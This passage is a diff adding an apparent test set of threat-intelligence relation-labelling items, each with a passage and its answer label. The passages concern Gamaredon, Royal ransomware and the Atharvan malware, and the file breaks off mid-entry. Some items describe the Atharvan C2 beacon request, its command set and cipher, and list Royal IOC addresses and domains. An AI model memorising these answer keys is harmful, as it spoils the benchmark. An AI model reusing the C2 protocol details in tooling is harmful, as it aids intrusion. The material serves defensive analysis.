diff --git "a/test/azerg_T4_test.json" "b/test/azerg_T4_test.json"
new file mode 100644--- /dev/null
+++ "b/test/azerg_T4_test.json"
@@ -0,0 +1,1342 @@
+[
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nGamaredon\n### Target Entity: FSB\n### Possible Relationship Labels:\n['targets', 'impersonates', 'attributed-to', 'is not related to', 'not sure']\n### Text Passage:\nAttackers heavily focused on acquiring military and security intelligence in order to support invading forces.\nThe Shuckworm espionage group is continuing to mount multiple cyber attacks against Ukraine, with recent targets including security services, military, and government organizations.\nIn some cases, Shuckworm has succeeded in staging long-running intrusions, lasting for as long as three months. The attackers repeatedly attempted to access and steal sensitive information such as reports about the deaths of Ukrainian military service members, enemy engagements and air strikes, arsenal inventories, military training, and more.\nIn a bid to stay ahead of detection, Shuckworm has repeatedly refreshed its toolset, rolling out new versions of known tools and short-lived infrastructure, along with new additions, such as USB propagation malware.\nShuckworm (Gamaredon, Armageddon) is a Russia-linked group that has almost exclusively focused its operations on Ukraine since it first appeared in 2014. Ukrainian officials have publicly stated that the group operates on behalf of the Russian Federal Security Service (FSB).\n",
+        "output": "<label>attributed-to</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nShuckworm\n### Target Entity: Ukraine\n### Possible Relationship Labels:\n['targets', 'located-at', 'is not related to', 'not sure']\n### Text Passage:\nAttackers heavily focused on acquiring military and security intelligence in order to support invading forces.\nThe Shuckworm espionage group is continuing to mount multiple cyber attacks against Ukraine, with recent targets including security services, military, and government organizations.\nIn some cases, Shuckworm has succeeded in staging long-running intrusions, lasting for as long as three months. The attackers repeatedly attempted to access and steal sensitive information such as reports about the deaths of Ukrainian military service members, enemy engagements and air strikes, arsenal inventories, military training, and more.\nIn a bid to stay ahead of detection, Shuckworm has repeatedly refreshed its toolset, rolling out new versions of known tools and short-lived infrastructure, along with new additions, such as USB propagation malware.\nShuckworm (Gamaredon, Armageddon) is a Russia-linked group that has almost exclusively focused its operations on Ukraine since it first appeared in 2014. Ukrainian officials have publicly stated that the group operates on behalf of the Russian Federal Security Service (FSB).\n",
+        "output": "<label>targets</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nShuckworm\n### Target Entity: Russia\n### Possible Relationship Labels:\n['targets', 'located-at', 'is not related to', 'not sure']\n### Text Passage:\nAttackers heavily focused on acquiring military and security intelligence in order to support invading forces.\nThe Shuckworm espionage group is continuing to mount multiple cyber attacks against Ukraine, with recent targets including security services, military, and government organizations.\nIn some cases, Shuckworm has succeeded in staging long-running intrusions, lasting for as long as three months. The attackers repeatedly attempted to access and steal sensitive information such as reports about the deaths of Ukrainian military service members, enemy engagements and air strikes, arsenal inventories, military training, and more.\nIn a bid to stay ahead of detection, Shuckworm has repeatedly refreshed its toolset, rolling out new versions of known tools and short-lived infrastructure, along with new additions, such as USB propagation malware.\nShuckworm (Gamaredon, Armageddon) is a Russia-linked group that has almost exclusively focused its operations on Ukraine since it first appeared in 2014. Ukrainian officials have publicly stated that the group operates on behalf of the Russian Federal Security Service (FSB).\n",
+        "output": "<label>located-at</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nShuckworm\n### Target Entity: Russian Federal Security Service\n### Possible Relationship Labels:\n['targets', 'impersonates', 'attributed-to', 'is not related to', 'not sure']\n### Text Passage:\nAttackers heavily focused on acquiring military and security intelligence in order to support invading forces.\nThe Shuckworm espionage group is continuing to mount multiple cyber attacks against Ukraine, with recent targets including security services, military, and government organizations.\nIn some cases, Shuckworm has succeeded in staging long-running intrusions, lasting for as long as three months. The attackers repeatedly attempted to access and steal sensitive information such as reports about the deaths of Ukrainian military service members, enemy engagements and air strikes, arsenal inventories, military training, and more.\nIn a bid to stay ahead of detection, Shuckworm has repeatedly refreshed its toolset, rolling out new versions of known tools and short-lived infrastructure, along with new additions, such as USB propagation malware.\nShuckworm (Gamaredon, Armageddon) is a Russia-linked group that has almost exclusively focused its operations on Ukraine since it first appeared in 2014. Ukrainian officials have publicly stated that the group operates on behalf of the Russian Federal Security Service (FSB).\n",
+        "output": "<label>attributed-to</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nShuckworm\n### Target Entity: FSB\n### Possible Relationship Labels:\n['targets', 'impersonates', 'attributed-to', 'is not related to', 'not sure']\n### Text Passage:\nAttackers heavily focused on acquiring military and security intelligence in order to support invading forces.\nThe Shuckworm espionage group is continuing to mount multiple cyber attacks against Ukraine, with recent targets including security services, military, and government organizations.\nIn some cases, Shuckworm has succeeded in staging long-running intrusions, lasting for as long as three months. The attackers repeatedly attempted to access and steal sensitive information such as reports about the deaths of Ukrainian military service members, enemy engagements and air strikes, arsenal inventories, military training, and more.\nIn a bid to stay ahead of detection, Shuckworm has repeatedly refreshed its toolset, rolling out new versions of known tools and short-lived infrastructure, along with new additions, such as USB propagation malware.\nShuckworm (Gamaredon, Armageddon) is a Russia-linked group that has almost exclusively focused its operations on Ukraine since it first appeared in 2014. Ukrainian officials have publicly stated that the group operates on behalf of the Russian Federal Security Service (FSB).\n",
+        "output": "<label>attributed-to</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nGamaredon\n### Target Entity: Ukraine\n### Possible Relationship Labels:\n['targets', 'located-at', 'is not related to', 'not sure']\n### Text Passage:\nAttackers heavily focused on acquiring military and security intelligence in order to support invading forces.\nThe Shuckworm espionage group is continuing to mount multiple cyber attacks against Ukraine, with recent targets including security services, military, and government organizations.\nIn some cases, Shuckworm has succeeded in staging long-running intrusions, lasting for as long as three months. The attackers repeatedly attempted to access and steal sensitive information such as reports about the deaths of Ukrainian military service members, enemy engagements and air strikes, arsenal inventories, military training, and more.\nIn a bid to stay ahead of detection, Shuckworm has repeatedly refreshed its toolset, rolling out new versions of known tools and short-lived infrastructure, along with new additions, such as USB propagation malware.\nShuckworm (Gamaredon, Armageddon) is a Russia-linked group that has almost exclusively focused its operations on Ukraine since it first appeared in 2014. Ukrainian officials have publicly stated that the group operates on behalf of the Russian Federal Security Service (FSB).\n",
+        "output": "<label>located-at</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nArmageddon\n### Target Entity: Ukraine\n### Possible Relationship Labels:\n['targets', 'located-at', 'is not related to', 'not sure']\n### Text Passage:\nAttackers heavily focused on acquiring military and security intelligence in order to support invading forces.\nThe Shuckworm espionage group is continuing to mount multiple cyber attacks against Ukraine, with recent targets including security services, military, and government organizations.\nIn some cases, Shuckworm has succeeded in staging long-running intrusions, lasting for as long as three months. The attackers repeatedly attempted to access and steal sensitive information such as reports about the deaths of Ukrainian military service members, enemy engagements and air strikes, arsenal inventories, military training, and more.\nIn a bid to stay ahead of detection, Shuckworm has repeatedly refreshed its toolset, rolling out new versions of known tools and short-lived infrastructure, along with new additions, such as USB propagation malware.\nShuckworm (Gamaredon, Armageddon) is a Russia-linked group that has almost exclusively focused its operations on Ukraine since it first appeared in 2014. Ukrainian officials have publicly stated that the group operates on behalf of the Russian Federal Security Service (FSB).\n",
+        "output": "<label>located-at</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nGamaredon\n### Target Entity: Russia\n### Possible Relationship Labels:\n['targets', 'located-at', 'is not related to', 'not sure']\n### Text Passage:\nAttackers heavily focused on acquiring military and security intelligence in order to support invading forces.\nThe Shuckworm espionage group is continuing to mount multiple cyber attacks against Ukraine, with recent targets including security services, military, and government organizations.\nIn some cases, Shuckworm has succeeded in staging long-running intrusions, lasting for as long as three months. The attackers repeatedly attempted to access and steal sensitive information such as reports about the deaths of Ukrainian military service members, enemy engagements and air strikes, arsenal inventories, military training, and more.\nIn a bid to stay ahead of detection, Shuckworm has repeatedly refreshed its toolset, rolling out new versions of known tools and short-lived infrastructure, along with new additions, such as USB propagation malware.\nShuckworm (Gamaredon, Armageddon) is a Russia-linked group that has almost exclusively focused its operations on Ukraine since it first appeared in 2014. Ukrainian officials have publicly stated that the group operates on behalf of the Russian Federal Security Service (FSB).\n",
+        "output": "<label>targets</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nGamaredon\n### Target Entity: Russian Federal Security Service\n### Possible Relationship Labels:\n['targets', 'impersonates', 'attributed-to', 'is not related to', 'not sure']\n### Text Passage:\nAttackers heavily focused on acquiring military and security intelligence in order to support invading forces.\nThe Shuckworm espionage group is continuing to mount multiple cyber attacks against Ukraine, with recent targets including security services, military, and government organizations.\nIn some cases, Shuckworm has succeeded in staging long-running intrusions, lasting for as long as three months. The attackers repeatedly attempted to access and steal sensitive information such as reports about the deaths of Ukrainian military service members, enemy engagements and air strikes, arsenal inventories, military training, and more.\nIn a bid to stay ahead of detection, Shuckworm has repeatedly refreshed its toolset, rolling out new versions of known tools and short-lived infrastructure, along with new additions, such as USB propagation malware.\nShuckworm (Gamaredon, Armageddon) is a Russia-linked group that has almost exclusively focused its operations on Ukraine since it first appeared in 2014. Ukrainian officials have publicly stated that the group operates on behalf of the Russian Federal Security Service (FSB).\n",
+        "output": "<label>attributed-to</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nGamaredon\n### Target Entity: FSB\n### Possible Relationship Labels:\n['targets', 'impersonates', 'attributed-to', 'is not related to', 'not sure']\n### Text Passage:\nAttackers heavily focused on acquiring military and security intelligence in order to support invading forces.\nThe Shuckworm espionage group is continuing to mount multiple cyber attacks against Ukraine, with recent targets including security services, military, and government organizations.\nIn some cases, Shuckworm has succeeded in staging long-running intrusions, lasting for as long as three months. The attackers repeatedly attempted to access and steal sensitive information such as reports about the deaths of Ukrainian military service members, enemy engagements and air strikes, arsenal inventories, military training, and more.\nIn a bid to stay ahead of detection, Shuckworm has repeatedly refreshed its toolset, rolling out new versions of known tools and short-lived infrastructure, along with new additions, such as USB propagation malware.\nShuckworm (Gamaredon, Armageddon) is a Russia-linked group that has almost exclusively focused its operations on Ukraine since it first appeared in 2014. Ukrainian officials have publicly stated that the group operates on behalf of the Russian Federal Security Service (FSB).\n",
+        "output": "<label>attributed-to</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nArmageddon\n### Target Entity: Russia\n### Possible Relationship Labels:\n['targets', 'located-at', 'is not related to', 'not sure']\n### Text Passage:\nAttackers heavily focused on acquiring military and security intelligence in order to support invading forces.\nThe Shuckworm espionage group is continuing to mount multiple cyber attacks against Ukraine, with recent targets including security services, military, and government organizations.\nIn some cases, Shuckworm has succeeded in staging long-running intrusions, lasting for as long as three months. The attackers repeatedly attempted to access and steal sensitive information such as reports about the deaths of Ukrainian military service members, enemy engagements and air strikes, arsenal inventories, military training, and more.\nIn a bid to stay ahead of detection, Shuckworm has repeatedly refreshed its toolset, rolling out new versions of known tools and short-lived infrastructure, along with new additions, such as USB propagation malware.\nShuckworm (Gamaredon, Armageddon) is a Russia-linked group that has almost exclusively focused its operations on Ukraine since it first appeared in 2014. Ukrainian officials have publicly stated that the group operates on behalf of the Russian Federal Security Service (FSB).\n",
+        "output": "<label>located-at</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nArmageddon\n### Target Entity: Russian Federal Security Service\n### Possible Relationship Labels:\n['targets', 'impersonates', 'attributed-to', 'is not related to', 'not sure']\n### Text Passage:\nAttackers heavily focused on acquiring military and security intelligence in order to support invading forces.\nThe Shuckworm espionage group is continuing to mount multiple cyber attacks against Ukraine, with recent targets including security services, military, and government organizations.\nIn some cases, Shuckworm has succeeded in staging long-running intrusions, lasting for as long as three months. The attackers repeatedly attempted to access and steal sensitive information such as reports about the deaths of Ukrainian military service members, enemy engagements and air strikes, arsenal inventories, military training, and more.\nIn a bid to stay ahead of detection, Shuckworm has repeatedly refreshed its toolset, rolling out new versions of known tools and short-lived infrastructure, along with new additions, such as USB propagation malware.\nShuckworm (Gamaredon, Armageddon) is a Russia-linked group that has almost exclusively focused its operations on Ukraine since it first appeared in 2014. Ukrainian officials have publicly stated that the group operates on behalf of the Russian Federal Security Service (FSB).\n",
+        "output": "<label>attributed-to</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nArmageddon\n### Target Entity: FSB\n### Possible Relationship Labels:\n['targets', 'impersonates', 'attributed-to', 'is not related to', 'not sure']\n### Text Passage:\nAttackers heavily focused on acquiring military and security intelligence in order to support invading forces.\nThe Shuckworm espionage group is continuing to mount multiple cyber attacks against Ukraine, with recent targets including security services, military, and government organizations.\nIn some cases, Shuckworm has succeeded in staging long-running intrusions, lasting for as long as three months. The attackers repeatedly attempted to access and steal sensitive information such as reports about the deaths of Ukrainian military service members, enemy engagements and air strikes, arsenal inventories, military training, and more.\nIn a bid to stay ahead of detection, Shuckworm has repeatedly refreshed its toolset, rolling out new versions of known tools and short-lived infrastructure, along with new additions, such as USB propagation malware.\nShuckworm (Gamaredon, Armageddon) is a Russia-linked group that has almost exclusively focused its operations on Ukraine since it first appeared in 2014. Ukrainian officials have publicly stated that the group operates on behalf of the Russian Federal Security Service (FSB).\n",
+        "output": "<label>attributed-to</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nRussian Federal Security Service\n### Target Entity: Russia\n### Possible Relationship Labels:\n['located-at', 'is not related to', 'not sure']\n### Text Passage:\nAttackers heavily focused on acquiring military and security intelligence in order to support invading forces.\nThe Shuckworm espionage group is continuing to mount multiple cyber attacks against Ukraine, with recent targets including security services, military, and government organizations.\nIn some cases, Shuckworm has succeeded in staging long-running intrusions, lasting for as long as three months. The attackers repeatedly attempted to access and steal sensitive information such as reports about the deaths of Ukrainian military service members, enemy engagements and air strikes, arsenal inventories, military training, and more.\nIn a bid to stay ahead of detection, Shuckworm has repeatedly refreshed its toolset, rolling out new versions of known tools and short-lived infrastructure, along with new additions, such as USB propagation malware.\nShuckworm (Gamaredon, Armageddon) is a Russia-linked group that has almost exclusively focused its operations on Ukraine since it first appeared in 2014. Ukrainian officials have publicly stated that the group operates on behalf of the Russian Federal Security Service (FSB).\n",
+        "output": "<label>located-at</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nFSB\n### Target Entity: Russia\n### Possible Relationship Labels:\n['located-at', 'is not related to', 'not sure']\n### Text Passage:\nAttackers heavily focused on acquiring military and security intelligence in order to support invading forces.\nThe Shuckworm espionage group is continuing to mount multiple cyber attacks against Ukraine, with recent targets including security services, military, and government organizations.\nIn some cases, Shuckworm has succeeded in staging long-running intrusions, lasting for as long as three months. The attackers repeatedly attempted to access and steal sensitive information such as reports about the deaths of Ukrainian military service members, enemy engagements and air strikes, arsenal inventories, military training, and more.\nIn a bid to stay ahead of detection, Shuckworm has repeatedly refreshed its toolset, rolling out new versions of known tools and short-lived infrastructure, along with new additions, such as USB propagation malware.\nShuckworm (Gamaredon, Armageddon) is a Russia-linked group that has almost exclusively focused its operations on Ukraine since it first appeared in 2014. Ukrainian officials have publicly stated that the group operates on behalf of the Russian Federal Security Service (FSB).\n",
+        "output": "<label>located-at</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nShuckworm\n### Target Entity: Ukraine\n### Possible Relationship Labels:\n['targets', 'located-at', 'is not related to', 'not sure']\n### Text Passage:\nAttackers heavily focused on acquiring military and security intelligence in order to support invading forces.\nThe Shuckworm espionage group is continuing to mount multiple cyber attacks against Ukraine, with recent targets including security services, military, and government organizations.\nIn some cases, Shuckworm has succeeded in staging long-running intrusions, lasting for as long as three months. The attackers repeatedly attempted to access and steal sensitive information such as reports about the deaths of Ukrainian military service members, enemy engagements and air strikes, arsenal inventories, military training, and more.\nIn a bid to stay ahead of detection, Shuckworm has repeatedly refreshed its toolset, rolling out new versions of known tools and short-lived infrastructure, along with new additions, such as USB propagation malware.\nShuckworm (Gamaredon, Armageddon) is a Russia-linked group that has almost exclusively focused its operations on Ukraine since it first appeared in 2014. Ukrainian officials have publicly stated that the group operates on behalf of the Russian Federal Security Service (FSB).\n",
+        "output": "<label>targets</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nRoyal\n### Target Entity: Qakbot\n### Possible Relationship Labels:\n['variant-of', 'uses', 'downloads', 'drops', 'controls', 'is not related to', 'not sure']\n### Text Passage:\n**Command and Control**\nOnce Royal actors gain access to a network, they communicate with command and control (C2) infrastructure and download multiple tools [T1105]. Legitimate Windows software is repurposed by Royal operators to strengthen their foothold within the victim\u2019s network. Ransomware operators often use open source projects to aid their intrusion activities\u2014Royal operators have recently been observed using `Chisel`, a tunneling tool transported over HTTP and secured via SSH [T1572], to communicate with their C2 infrastructure. FBI observed multiple Qakbot C2s used in Royal ransomware attacks but is yet to determine if Royal ransomware exclusively uses Qakbot C2s.\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nAWS\n### Target Entity: South Korea\n### Possible Relationship Labels:\n['located-at', 'is not related to', 'not sure']\n### Text Passage:\nAtharvan\nAtharvan is so-named because when the malware is run, it creates a mutex named: \"SAPTARISHI-ATHARVAN-101\" to ensure that only one copy is running.\nIt will then contact a hardcoded C&C server. The hardcoded C&C addresses seen in one of the samples analyzed to date was for Amazon AWS South Korea (Seoul) region, which is not a common location for C&C infrastructure.\nThe C&C communications are formatted as HTTP POST requests where the Host header is hardcoded as \"update.microsoft.com\", e.g.:\n_POST /update.php HTTP/1.1_\n_User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 Edg/84.0.522.52_\n_Host: update.microsoft.com_\n_Content-type: application/x-www-form-urlencoded_\n_Content-length: 46_\n_id=Atharvan &code=101&cid=H[REDACTED]&time=5_\nThe request body includes the following parameters:\n* \"id\": hardcoded string \"Atharvan\"\n* \"code\": represents request purpose, which can be one of:\n* 101: fetches commands\n* 102: sends command outputs or error messages\n* 103: fetches file body to write when processing command 0x12\n* \"cid\": hardcoded string \"H\" followed by the network interface hardware address of the affected computer as 12 hexadecimal digits\n* \"time\": interval between communication attempts\n* \"msg\" (optional): depending on the request purpose as specified using \"code\" parameter:\n* when the \"code\" parameter is 102, it includes output of commands or error messages in encrypted form\n* when the \"code\" parameter is 103, it identifies the file to fetch in non-encrypted form\nWhen encrypting the \"msg\" value, the malware uses the following encryption algorithm:\ndef encrypt(plaintext):\n_return bytes([((2 - byte) & 0xff) for byte in plaintext])_\nThe malware uses its own simplistic HTTP parser to extract the body from the server response. The extracted body is decrypted using the following algorithm:\ndef decrypt(ciphertext):\n_return bytes([((2 - byte) & 0xff) for byte in ciphertext])_\nWhen fetching commands, the malware expects the decrypted body to contain a sequence of strings separated by the \"\\x1A\" character.\nThe first byte of each string specifies the command to execute and the remaining bytes are interpreted as command parameters.\nTable 1. Atharvan commandsCommand  Description\n------\n0x11   Configures interval between communication attempts\n0x12   Downloads arbitrary file from specified control server\n0x15   Runs arbitrary executable and sends its output to the remote attacker\n0x16   Configures communication to use schedule type 0x16\n0x17   Configures communication to use schedule type 0x17\n0x18   Configures communication to use schedule type 0x18\nWhen configuring a communication schedule, the command parameters specify the times and days for the communication attempts. Several different times can be specified, with the hour and minute of the day encoded.\nThe days are interpreted as:\n* No restrictions (communication schedule type 0x16)\n* Bitmask specifying days of month (communication schedule type 0x17)\n* Bitmask specifying days of week (communication schedule type 0x18)\nThis scheduled communication configuration is another unusual feature of the malware and is not commonly seen in malware of this kind.\n",
+        "output": "<label>located-at</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nC&C\n### Target Entity: South Korea\n### Possible Relationship Labels:\n['located-at', 'is not related to', 'not sure']\n### Text Passage:\nAtharvan\nAtharvan is so-named because when the malware is run, it creates a mutex named: \"SAPTARISHI-ATHARVAN-101\" to ensure that only one copy is running.\nIt will then contact a hardcoded C&C server. The hardcoded C&C addresses seen in one of the samples analyzed to date was for Amazon AWS South Korea (Seoul) region, which is not a common location for C&C infrastructure.\nThe C&C communications are formatted as HTTP POST requests where the Host header is hardcoded as \"update.microsoft.com\", e.g.:\n_POST /update.php HTTP/1.1_\n_User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 Edg/84.0.522.52_\n_Host: update.microsoft.com_\n_Content-type: application/x-www-form-urlencoded_\n_Content-length: 46_\n_id=Atharvan &code=101&cid=H[REDACTED]&time=5_\nThe request body includes the following parameters:\n* \"id\": hardcoded string \"Atharvan\"\n* \"code\": represents request purpose, which can be one of:\n* 101: fetches commands\n* 102: sends command outputs or error messages\n* 103: fetches file body to write when processing command 0x12\n* \"cid\": hardcoded string \"H\" followed by the network interface hardware address of the affected computer as 12 hexadecimal digits\n* \"time\": interval between communication attempts\n* \"msg\" (optional): depending on the request purpose as specified using \"code\" parameter:\n* when the \"code\" parameter is 102, it includes output of commands or error messages in encrypted form\n* when the \"code\" parameter is 103, it identifies the file to fetch in non-encrypted form\nWhen encrypting the \"msg\" value, the malware uses the following encryption algorithm:\ndef encrypt(plaintext):\n_return bytes([((2 - byte) & 0xff) for byte in plaintext])_\nThe malware uses its own simplistic HTTP parser to extract the body from the server response. The extracted body is decrypted using the following algorithm:\ndef decrypt(ciphertext):\n_return bytes([((2 - byte) & 0xff) for byte in ciphertext])_\nWhen fetching commands, the malware expects the decrypted body to contain a sequence of strings separated by the \"\\x1A\" character.\nThe first byte of each string specifies the command to execute and the remaining bytes are interpreted as command parameters.\nTable 1. Atharvan commandsCommand  Description\n------\n0x11   Configures interval between communication attempts\n0x12   Downloads arbitrary file from specified control server\n0x15   Runs arbitrary executable and sends its output to the remote attacker\n0x16   Configures communication to use schedule type 0x16\n0x17   Configures communication to use schedule type 0x17\n0x18   Configures communication to use schedule type 0x18\nWhen configuring a communication schedule, the command parameters specify the times and days for the communication attempts. Several different times can be specified, with the hour and minute of the day encoded.\nThe days are interpreted as:\n* No restrictions (communication schedule type 0x16)\n* Bitmask specifying days of month (communication schedule type 0x17)\n* Bitmask specifying days of week (communication schedule type 0x18)\nThis scheduled communication configuration is another unusual feature of the malware and is not commonly seen in malware of this kind.\n",
+        "output": "<label>located-at</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\n102.157.44.105\n### Target Entity: Royal\n### Possible Relationship Labels:\n['indicates', 'is not related to', 'not sure']\n### Text Passage:\n**Indicators of Compromise (IOCs)**\nSee Tables 1 and 2 for Royal ransomware IOCs obtained by FBI during threat response activities as of January 2023.\n_**Update November 13, 2023**_\nSee Tables 3 and 4 for Royal and Blacksuit Ransomware IOCs as of June 2023. See Table 5 for a list of legitimate software used by Royal and Blacksuit threat actors identified through FBI investigations as of June 2023.\n_**End Update**_\n**Note** : Some of the observed IP addresses are several months old. FBI and CISA recommend vetting or investigating these IP addresses prior to taking forward-looking action, such as blocking.\n_Table 1: Royal Ransomware Associated Files, Hashes, and IP addresses as of January 2023_ **IOC**  **Description**\n------\n**Malicious IP**  **Last Activity**\n**Malicious Domain**  **Last Observed**\n.royal  Encrypted file extension\nREADME.TXT  Ransom note\n102.157.44.105  November 2022\n105.158.118.241  November 2022\n105.69.155.85  November 2022\n113.169.187.159  November 2022\n134.35.9.209  November 2022\n139.195.43.166  November 2022\n139.60.161.213  November 2022\n148.213.109.165  November 2022\n163.182.177.80  November 2022\n181.141.3.126  November 2022\n181.164.194.228  November 2022\n185.143.223.69  November 2022\n186.64.67.6  November 2022\n186.86.212.138  November 2022\n190.193.180.228  November 2022\n196.70.77.11  November 2022\n197.11.134.255  November 2022\n197.158.89.85  November 2022\n197.204.247.7  November 2022\n197.207.181.147  November 2022\n197.207.218.27  November 2022\n197.94.67.207  November 2022\n23.111.114.52  November 2022\n41.100.55.97  November 2022\n41.107.77.67  November 2022\n41.109.11.80  November 2022\n41.251.121.35  November 2022\n41.97.65.51  November 2022\n42.189.12.36  November 2022\n45.227.251.167  November 2022\n5.44.42.20  November 2022\n61.166.221.46  November 2022\n68.83.169.91  November 2022\n81.184.181.215  November 2022\n82.12.196.197  November 2022\n98.143.70.147  November 2022\n140.82.48.158  December 2022\n147.135.36.162  December 2022\n147.135.11.223  December 2022\n152.89.247.50  December 2022\n172.64.80.1  December 2022\n179.43.167.10  December 2022\n185.7.214.218  December 2022\n193.149.176.157  December 2022\n193.235.146.104  December 2022\n209.141.36.116  December 2022\n45.61.136.47  December 2022\n45.8.158.104  December 2022\n5.181.234.58  December 2022\n5.188.86.195  December 2022\n77.73.133.84  December 2022\n89.108.65.136  December 2022\n94.232.41.105  December 2022\n47.87.229.39  January 2023\nsombrat.com  October 2022\ngororama.com  November 2022\nsofteruplive.com  November 2022\naltocloudzone.live  December 2022\nciborkumari.xyz  December 2022\nmyappearinc.com  December 2022\nparkerpublic.com  December 2022\npastebin.mozilla.org/Z54Vudf9/raw  December 2022\ntumbleproperty.com  December 2022\nmyappearinc.com/acquire/draft/c7lh0s5jv  January 2023\n",
+        "output": "<label>indicates</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
